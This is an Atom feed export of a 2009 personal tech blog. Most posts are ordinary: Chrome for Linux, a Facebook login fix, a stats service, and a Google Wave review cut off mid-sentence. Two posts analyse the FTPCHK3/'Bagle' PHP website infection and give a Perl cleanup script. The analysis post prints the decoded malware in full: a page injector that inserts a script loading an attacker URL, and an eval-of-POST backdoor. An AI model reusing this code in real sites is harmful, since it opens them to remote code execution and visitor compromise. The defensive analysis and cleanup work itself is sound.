src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-5450441282462685557</id><published>2009-12-08T20:02:00.000-08:00</published><updated>2009-12-08T20:02:31.616-08:00</updated><title type='text'>Google Chrome for Linux finally available</title><content type='html'>&lt;a href=&quot;http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910&quot;&gt;Click Here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/5450441282462685557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/5450441282462685557' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5450441282462685557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5450441282462685557'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/12/google-chrome-for-linux-finally.html' title='Google Chrome for Linux finally available'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-7675046499092383983</id><published>2009-12-08T20:01:00.000-08:00</published><updated>2009-12-08T20:01:43.074-08:00</updated><title type='text'>Official Google Blog: Google Chrome for the holidays: Mac, Linux and extensions in beta</title><content type='html'>&lt;A href=&quot;http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910&quot;&gt;http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/7675046499092383983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/7675046499092383983' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7675046499092383983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7675046499092383983'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/12/official-google-blog-google-chrome-for.html' title='Official Google Blog: Google Chrome for the holidays: Mac, Linux and extensions in beta'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-821693127491624586</id><published>2009-11-18T20:09:00.001-08:00</published><updated>2009-11-18T20:12:35.283-08:00</updated><title type='text'>Happy Birthday digitalpbk.blogspot.com</title><content type='html'>Well I totally forgot that my blog is completed 3 years as of November 18. &lt;br /&gt;&lt;br /&gt;And you can see the numbers right :) &lt;br /&gt;&lt;br /&gt;I have started &lt;a href=&quot;http://digitalpbk.com&quot;&gt;a new blog&lt;/a&gt; with more features so that people would get more information out of it and structured neatly.&lt;br /&gt;&lt;br /&gt;So @ 3 years of my &lt;i&gt;Tech&lt;/i&gt; blogging on blogspot, i&#39;m moving onto my domain. &lt;b&gt;digitalpbk.com&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This blog would still be here. &lt;br /&gt;&lt;br /&gt;So See Ya...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://digitalpbk.com&quot;&gt;digitalpbk&lt;/a&gt;&lt;br /&gt;:)</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/821693127491624586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/821693127491624586' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/821693127491624586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/821693127491624586'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/11/happy-birthday-digitalpbkblogspotcom.html' title='Happy Birthday digitalpbk.blogspot.com'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-8318239456844163267</id><published>2009-10-15T01:13:00.001-07:00</published><updated>2009-10-15T02:13:56.186-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Virus Removal"/><title type='text'>PHP Code Analysis of Bagle Virus</title><content type='html'>&lt;b&gt;The code&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The following is the code that is executed on all pages infected by this virus : &lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;prog&quot; style=&quot;height:300px&quot;&gt;if (!isset ($b0sr1))&lt;br /&gt;  {&lt;br /&gt;    function b0sr ($s)&lt;br /&gt;    {&lt;br /&gt;      if (preg_match_all (&#39;#&amp;lt;script(.*?)&amp;lt;/script&amp;gt;#is&#39;, $s, $a))&lt;br /&gt;        foreach ($a[0] as $v) &lt;br /&gt;          if (count (explode (&amp;quot;\n&amp;quot;, $v)) &amp;gt; 5)&lt;br /&gt;          {&lt;br /&gt;            $e = preg_match (&#39;#[\&#39;&amp;quot;][^\s\&#39;&amp;quot;\.,;\?!\[\]:/&amp;lt;&amp;gt;\(\)]{30,}#&#39;, $v)&lt;br /&gt;              || preg_match (&#39;#[\(\[](\s*\d+,){20,}#&#39;, $v);&lt;br /&gt;            if ((preg_match (&#39;#\beval\b#&#39;, $v)&lt;br /&gt;                 &amp;amp;&amp;amp; ($e || strpos ($v, &#39;fromCharCode&#39;))) || ($e&lt;br /&gt;                                                             &amp;amp;&amp;amp; strpos ($v,&lt;br /&gt;                                                                        &#39;document.write&#39;)))&lt;br /&gt;              $s = str_replace ($v, &#39;&#39;, $s);&lt;br /&gt;          }&lt;br /&gt;      if (preg_match_all&lt;br /&gt;          (&#39;#&amp;lt;iframe ([^&amp;gt;]*?)src=[\&#39;&amp;quot;]?(http:)?//([^&amp;gt;]*?)&amp;gt;#is&#39;, $s, $a))&lt;br /&gt;        foreach ($a[0] as $v)&lt;br /&gt;          if (preg_match&lt;br /&gt;              (&#39;# width\s*=\s*[\&#39;&amp;quot;]?0*[01][\&#39;&amp;quot;&amp;gt; ]|display\s*:\s*none#i&#39;, $v)&lt;br /&gt;              &amp;amp;&amp;amp; !strstr ($v, &#39;?&#39;.&#39;&amp;gt;&#39;))&lt;br /&gt;          $s = preg_replace (&#39;#&#39;.preg_quote ($v, &#39;#&#39;).&#39;.*?&amp;lt;/iframe&amp;gt;#is&#39;, &#39;&#39;, $s);&lt;br /&gt;      $s = str_replace ($a =&lt;br /&gt;                        base64_decode&lt;br /&gt;                        (&#39;PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4=&#39;),&lt;br /&gt;                        &#39;&#39;, $s);&lt;br /&gt;      if (stristr ($s, &#39;&amp;lt;body&#39;))&lt;br /&gt;        $s = preg_replace (&#39;#(\s*&amp;lt;body)#mi&#39;, $a.&#39;\1&#39;, $s);&lt;br /&gt;      elseif (strpos ($s, &#39;,a&#39;)) $s. = $a;&lt;br /&gt;      return $s;&lt;br /&gt;    }&lt;br /&gt;    function b0sr2 ($a, $b, $c, $d)&lt;br /&gt;    {&lt;br /&gt;      global $b0sr1;&lt;br /&gt;      $s = array ();&lt;br /&gt;      if (function_exists ($b0sr1))&lt;br /&gt;        call_user_func ($b0sr1, $a, $b, $c, $d);&lt;br /&gt;      foreach (@ob_get_status (1) as $v) &lt;br /&gt;        if (($a = $v[&#39;name&#39;]) == &#39;b0sr&#39;)&lt;br /&gt;          return;&lt;br /&gt;        elseif ($a == &#39;ob_gzhandler&#39;) break;&lt;br /&gt;        else&lt;br /&gt;        $s[] = array ($a == &#39;default output handler&#39; ? false : $a);&lt;br /&gt;      &lt;br /&gt;      for ($i = count ($s) - 1; $i &amp;gt;= 0; $i--)&lt;br /&gt;        {&lt;br /&gt;          $s[$i][1] = ob_get_contents ();&lt;br /&gt;          ob_end_clean ();&lt;br /&gt;        }&lt;br /&gt;      ob_start (&#39;b0sr&#39;);&lt;br /&gt;      &lt;br /&gt;      for ($i = 0; $i &amp;lt; count ($s); $i++)&lt;br /&gt;        {&lt;br /&gt;          ob_start ($s[$i][0]);&lt;br /&gt;          echo $s[$i][1];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;$b0srl = (($a = @set_error_handler (&#39;b0sr2&#39;)) != &#39;b0sr2&#39;) ? $a : 0;&lt;br /&gt;eval (base64_decode ($_POST[&#39;e&#39;]));&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/8318239456844163267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/8318239456844163267' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8318239456844163267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8318239456844163267'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/10/bagle-virus-analysis-php-code.html' title='PHP Code Analysis of Bagle Virus'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-5450326028186466949</id><published>2009-10-15T00:35:00.000-07:00</published><updated>2009-10-15T02:13:16.741-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Virus Removal"/><title type='text'>FTPCHK3 : Virus that adds malicious scripts to your website.</title><content type='html'>&lt;b&gt;Intro&lt;/b&gt;&lt;br /&gt;This virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It&#39;s nasty and start fixing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How it got in ?&lt;/b&gt;&lt;br /&gt;This can be due to potential security holes in your FTP server programs and/or the anonymous user access being activated in your FTP configuration. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;What it does?&lt;/b&gt;&lt;br /&gt;It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like &lt;br /&gt;&lt;pre class=&quot;prog&quot;&gt;&lt;br /&gt;&amp;lt;?php eval(base64_decode(&#39;aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg&lt;br /&gt;kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc&lt;br /&gt;..&lt;br /&gt;&lt;i class=&quot;prog_com&quot;&gt;//Truncated&lt;/i&gt;&lt;br /&gt;..&lt;br /&gt;ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J&lt;br /&gt;GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=&#39;)); ?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The code adds scripts to your code like&lt;br /&gt;&lt;pre&gt;&amp;lt;script src=http://gemus.pl/db/ftpchk3.php &amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;and executes codes coming via POST requests.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Removal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(170, 0, 0);&quot;&gt; Backup your web directory, just in case something gets messed up.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with &lt;i&gt;file&lt;/i&gt;.infected and removes code from the file and updates your file to remove the code.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;prog&quot; style=&quot;height:300px;&quot;&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;`grep -Rn aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u * | cut -d &#39;:&#39; -f 1 &amp;gt; listofinfected`;&lt;br /&gt;&lt;br /&gt;open FP,&amp;quot;listofinfected&amp;quot;;&lt;br /&gt;my $file;&lt;br /&gt;while($file = &amp;lt;FP&amp;gt;){&lt;br /&gt;  print &amp;quot;Testing $file ... &amp;quot;;&lt;br /&gt;  chomp($file);&lt;br /&gt;  if(-e ($file)){&lt;br /&gt;    open VI,$file;&lt;br /&gt;    my @filecon = &amp;lt;VI&amp;gt;;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    if($filecon[0] =~ m/aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u/){&lt;br /&gt;      &lt;br /&gt;      $filecon[0] =~ s/(&amp;lt;\?.*?\?&amp;gt;)//g;&lt;br /&gt;      &lt;br /&gt;      rename($file,$file.&amp;quot;.infected&amp;quot;);&lt;br /&gt;    &lt;br /&gt;      open VI,&amp;quot;&amp;gt;$file&amp;quot;;&lt;br /&gt;      print VI join(&#39;&#39;,@filecon);&lt;br /&gt;      close VI;&lt;br /&gt;      &lt;br /&gt;      print $file.&amp;quot; Fixed !!&amp;quot;;&lt;br /&gt;    }    &lt;br /&gt;  }&lt;br /&gt;  print &amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(FP);&lt;br /&gt;&lt;br /&gt;`grep -Rn ftpchk3.php * | cut -d &#39;:&#39; -f 1 &amp;gt; listofinfected2`;&lt;br /&gt;&lt;br /&gt;open FP,&amp;quot;listofinfected2&amp;quot;;&lt;br /&gt;my $file;&lt;br /&gt;while($file = &amp;lt;FP&amp;gt;){&lt;br /&gt;  print &amp;quot;Testing $file ... &amp;quot;;&lt;br /&gt;  chomp($file);&lt;br /&gt;  if(-e ($file)){&lt;br /&gt;    open VI,$file;&lt;br /&gt;    my @filecon = &amp;lt;VI&amp;gt;;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    my $fc = join(&#39;&#39;,@filecon);&lt;br /&gt;    $fc =~ s|document.write(&#39;&amp;lt;script(.*?)ftpchk3.php(.*)script&amp;gt;&#39;);||sig;&lt;br /&gt;    $fc =~ s|&amp;lt;script[\s]+src=&amp;quot;?http(.*?)ftpchk3.php(.*?)script&amp;gt;||sig;&lt;br /&gt;    &lt;br /&gt;  &lt;br /&gt;    &lt;br /&gt;    rename($file,$file.&amp;quot;.infected&amp;quot;);&lt;br /&gt;    &lt;br /&gt;    open VI,&amp;quot;&amp;gt;$file&amp;quot;;&lt;br /&gt;    print VI $fc;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    print $file.&amp;quot; Fixed !!&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;  print &amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(FP);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How to execute?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Copy paste the code to a file called &lt;i&gt;anti.pl&lt;/i&gt;&lt;br /&gt;From the terminal run &lt;br /&gt;&lt;pre&gt;perl anti.pl&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;br /&gt;Those who are intereseted in how it works, here is an &lt;a href=&quot;/2009/10/bagle-virus-analysis-php-code.html&quot;&gt;analysis&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Happy fixing... &lt;br /&gt;PS: Fix it asap.. the virus is supposed to delete your files.</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/5450326028186466949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/5450326028186466949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5450326028186466949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5450326028186466949'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html' title='FTPCHK3 : Virus that adds malicious scripts to your website.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-4246278813478277638</id><published>2009-09-24T02:08:00.001-07:00</published><updated>2009-09-24T05:26:42.237-07:00</updated><title type='text'>Statistics for your website, the way you want...</title><content type='html'>&lt;b&gt;Hey mates&lt;/b&gt;&lt;br /&gt;Head over to &lt;a href=&quot;http://stats.kitiyo.com&quot;&gt;stats.kitiyo.com&lt;/a&gt; and sign up to get a cool statistics graph for your blog or website. &lt;br /&gt;You might need this invitation code : &lt;b&gt;&lt;pre&gt;iwantitbadly&lt;/pre&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Scroll down to see my statistics. This is still in beta stage, so let me know of feature suggestions or anything you would like to add. :)&lt;br /&gt;I have added most features that you would find in any ordinary stats site, like popular pages, referers search keywords etc.&lt;br /&gt;&lt;br /&gt;Lots of features yet to come. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhGMB1J3Q8rD1YHpS82aEGztE4Vowo-pTpoTyIJ-e-H3B0o6FKHGSSk4xO12s5LnW9em27pbYlVrwSHK3J0Z8_ibU3P2FPb5N82QTKON-dVpql3jpWgCuHWwb1EMUjAeThfLexmlfbubA/s1600-h/kitiyo_stats.jpg&quot;&gt;&lt;img style=&quot;float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhGMB1J3Q8rD1YHpS82aEGztE4Vowo-pTpoTyIJ-e-H3B0o6FKHGSSk4xO12s5LnW9em27pbYlVrwSHK3J0Z8_ibU3P2FPb5N82QTKON-dVpql3jpWgCuHWwb1EMUjAeThfLexmlfbubA/s400/kitiyo_stats.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5384985707087953538&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;script src=&quot;http://stats.kitiyo.com/js/stats.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot;&gt;_stat.i(&#39;S7-csV-VG2eM&#39;, &#39;450px&#39;, &#39;135px&#39;,{});&lt;/script&gt;&lt;noscript&gt;&lt;iframe src=&quot;http://stats.kitiyo.com/render?nojs&amp;api=S7-csV-VG2eM&amp;sz=450px,135px&quot; width=&quot;450px&quot; height=&quot;135px&quot;&gt;&lt;/iframe&gt;&lt;/noscript&gt;&lt;br /&gt;Powered By &lt;a href=&quot;http://stats.kitiyo.com/&quot;&gt;Kitiyo Stats&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy...&lt;br /&gt;Cya at stats.kitiyo.com</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/4246278813478277638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/4246278813478277638' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/4246278813478277638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/4246278813478277638'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/09/statistics-for-your-website-way-you.html' title='Statistics for your website, the way you want...'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhGMB1J3Q8rD1YHpS82aEGztE4Vowo-pTpoTyIJ-e-H3B0o6FKHGSSk4xO12s5LnW9em27pbYlVrwSHK3J0Z8_ibU3P2FPb5N82QTKON-dVpql3jpWgCuHWwb1EMUjAeThfLexmlfbubA/s72-c/kitiyo_stats.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-3626914725712566742</id><published>2009-08-26T00:02:00.000-07:00</published><updated>2009-08-26T00:59:28.983-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><title type='text'>Fix for Facebook authentication on IE</title><content type='html'>&lt;b&gt;What?&lt;/b&gt;&lt;br /&gt;This is for Facebook developers who have faced this problem.  If you are using an Facebook application to authenticate a user on a PHP website, the Facebook redirection on Internet Explorer specifically fails the login of the user. This is because the return URL returned by facebook specifically for IE is the appending of the &lt;br /&gt;&lt;pre&gt;CallBack URL specified in the Application +&lt;br /&gt;the Next parameter + &lt;br /&gt;a &quot;?&quot; + &lt;br /&gt;the auth_token parameter.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This results in Facebook redirecting to a wierd URL. &lt;br /&gt;&lt;br /&gt;the &lt;b&gt;Workaround&lt;/b&gt;&lt;br /&gt;for this is to remove the next parameter from the facebook login URL.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://www.facebook.com/login.php?api_key=&amp;lt;API KEY&amp;gt;&amp;amp;v=1.0&amp;amp;next=http%3A%2F%2Flocalhost%2Ftest%2F%2Ffacebook%3Fredir_domain%3Dexample.com&lt;/pre&gt;&lt;br /&gt;to&lt;br /&gt;&lt;pre&gt;http://www.facebook.com/login.php?api_key=&amp;lt;API KEY&amp;gt;&amp;amp;v=1.0&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;For PHP websites the changes for the facebook.php are given below:&lt;br /&gt;It must be similar changes for any of the other client API&#39;s.&lt;br /&gt;This is accomplished by changing the line on facebook.php&lt;br /&gt;facebook-platform/php/facebook.php&lt;br /&gt;&lt;br /&gt;Change the following lines&lt;br /&gt;&lt;pre class=&quot;prog&quot;&gt;&lt;span class=&quot;prog_key&quot;&gt;public function&lt;/span&gt; require_login() {&lt;br /&gt;    if ($user = $this-&gt;get_loggedin_user()) {&lt;br /&gt;      &lt;span class=&quot;prog_key&quot;&gt;return&lt;/span&gt; $user;&lt;br /&gt;    }&lt;br /&gt;    $this-&gt;redirect($this-&gt;get_login_url(self::current_url(), $this-&gt;in_frame())&lt;br /&gt;);&lt;br /&gt;  }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;to &lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;prog&quot;&gt;  &lt;span class=&quot;prog_key&quot;&gt;public function&lt;/span&gt; require_login() {&lt;br /&gt;    if ($user = $this-&gt;get_loggedin_user()) {&lt;br /&gt;      &lt;span class=&quot;prog_key&quot;&gt;return&lt;/span&gt; $user;&lt;br /&gt;    }&lt;br /&gt;    $this-&gt;redirect($this-&gt;get_login_url(&#39;&#39;, $this-&gt;in_frame()));&lt;br /&gt;  }&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The change is to remove the &lt;i&gt;next&lt;/i&gt; parameter from the $this-&gt;get_login_url Call from within require_login member function of the Facebook class.&lt;br /&gt;&lt;br /&gt;This seems to fix the problem of login.&lt;br /&gt;This is not a bug in facebook as it is the intended functionality inside apps.&lt;br /&gt;&lt;br /&gt;Happy developing..</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/3626914725712566742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/3626914725712566742' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/3626914725712566742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/3626914725712566742'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/08/facebook-auth-next-parameter-ie.html' title='Fix for Facebook authentication on IE'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-7336228060205488017</id><published>2009-08-20T05:06:00.000-07:00</published><updated>2009-08-20T05:14:40.528-07:00</updated><title type='text'>Flash Player BUG: Permission denied to call method Location.toString</title><content type='html'>&lt;b&gt;Permission denied to call method Location.toString&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you get this wierd error on your error console, it might be because of opening a flash script within a frame from another domain from your domain. This is a flash bug and apparently there is no work around. So just ignore this error. &lt;br /&gt;&lt;br /&gt;I found out this the hardway after searching for a long time, so if anyone stumbles upon this page, just upgrade your flash player.&lt;br /&gt;&lt;br /&gt;I found it while beta prototyping &lt;a href=&quot;http://stats.kitiyo.com/&quot;&gt;Kitiyo Stats&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/7336228060205488017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/7336228060205488017' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7336228060205488017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7336228060205488017'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2009/08/flash-flex-swf-bug-permission-denied-to.html' title='Flash Player BUG: Permission denied to call method Location.toString'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-733698553397994117</id><published>2009-08-05T20:10:00.000-07:00</published><updated>2009-08-05T20:23:28.749-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Feature Review"/><title type='text'>Google Wave Review &amp; Dev Preview</title><content type='html'>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvvlw9U1ZTX6iQ3PtVTuhu_-oJdGTX0jp8Yov4c8YuYCjB8tczIaiz-4aLb42XvDsDlq1fUt7PBMQDU7LIhfx6tN0KROEGbtZKIvEEnA5dMyaIjAqX8-kmFPGXamXSYDu0gwGS0MM1Uyk/s1600-h/wave-screenshot.jpg&quot;&gt;&lt;img style=&quot;float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvvlw9U1ZTX6iQ3PtVTuhu_-oJdGTX0jp8Yov4c8YuYCjB8tczIaiz-4aLb42XvDsDlq1fUt7PBMQDU7LIhfx6tN0KROEGbtZKIvEEnA5dMyaIjAqX8-kmFPGXamXSYDu0gwGS0MM1Uyk/s400/wave-screenshot.jpg&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5366683671923337314&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Google Wave?&lt;/b&gt;&lt;br /&gt;Google wave is a new product from Google, it is like but much more than a collaborative chat with bots helping you and adding interactive data within conversations. &lt;br /&gt;&lt;br /&gt;It is a developer preview that I got so its kind of slow. The chats are realtime, which means you will have to think really hard before you type it :D . You can add maps, videos, images, or even other websites or anything within a conversation to make it live. Each of these conversation is called a &lt;i&gt;Wave&lt;/i&gt;. And each item inside is a &lt;i&gt;Wavelet&lt;/i&gt;, Those who have brushed upon their Signal processing subjects would ring a bell here. The waves are recorded in time and can be played back to see the conversation growing.&lt;br /&gt;&lt;br /&gt;It takes sometime to load and the javascript pretty much hangs around when we do 